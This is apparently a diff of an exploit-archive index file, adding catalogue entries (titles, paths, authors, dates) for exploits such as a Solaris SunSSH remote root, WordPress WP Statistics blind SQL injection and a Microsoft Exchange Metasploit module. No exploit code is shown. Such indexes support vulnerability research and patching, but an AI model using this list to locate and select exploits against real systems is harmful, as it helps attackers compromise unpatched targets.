 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -18464,6 +18466,7 @@ id,file,description,date,author,type,platform,port
 49757,exploits/unix/remote/49757.py,"vsftpd 2.3.4 - Backdoor Command Execution",2021-04-12,HerculesRD,remote,unix,
 49782,exploits/hardware/remote/49782.py,"Tenda D151 & D301 - Configuration Download (Unauthenticated)",2021-04-21,BenChaliah,remote,hardware,
 49815,exploits/linux/remote/49815.py,"GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution (2)",2021-04-30,liewehacksie,remote,linux,
+49896,exploits/solaris/remote/49896.py,"Solaris SunSSH 11.0 x86 - libpam Remote Root (2)",2021-05-21,legend,remote,solaris,
 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
@ -44055,3 +44058,6 @@ id,file,description,date,author,type,platform,port
 49885,exploits/multiple/webapps/49885.py,"ManageEngine ADSelfService Plus 6.1 - CSV Injection",2021-05-19,"Metin Yunus Kandemir",webapps,multiple,
 49886,exploits/php/webapps/49886.txt,"COVID19 Testing Management System 1.0 - SQL Injection (Auth Bypass)",2021-05-19,"Rohit Burke",webapps,php,
 49887,exploits/php/webapps/49887.txt,"COVID19 Testing Management System 1.0 - 'Admin name' Cross-Site Scripting (XSS)",2021-05-19,"Rohit Burke",webapps,php,
+49891,exploits/multiple/webapps/49891.txt,"Spotweb 1.4.9 - DOM Based Cross-Site Scripting (XSS)",2021-05-21,nu11secur1ty,webapps,multiple,
+49894,exploits/php/webapps/49894.sh,"WordPress Plugin WP Statistics 13.0.7 - Time-Based Blind SQL Injection (Unauthenticated)",2021-05-21,"Mansoor R",webapps,php,
+49895,exploits/windows/webapps/49895.rb,"Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)",2021-05-21,mekhalleh,webapps,windows,